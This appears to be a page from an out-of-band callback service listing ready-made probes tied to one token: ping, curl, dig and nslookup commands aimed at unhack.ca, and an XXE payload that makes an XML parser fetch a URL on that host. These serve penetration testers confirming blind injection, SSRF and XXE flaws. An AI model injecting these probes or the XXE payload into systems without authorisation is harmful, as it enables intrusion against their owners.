$ ping -c1 -p 0025fc5527d336951a8a4b579cbeed00 unhack.ca
 

$ curl http://unhack.ca/p/25fc5527d336951a8a4b579cbeed
 

$ dig 25fc5527d336951a8a4b579cbeed @unhack.ca
 

$ dig 25fc5527d336951a8a4b579cbeed.ns.unhack.ca
 

C:\> nslookup 25fc5527d336951a8a4b579cbeed unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/25fc5527d336951a8a4b579cbeed">]>
    <foo>&xxe;</foo>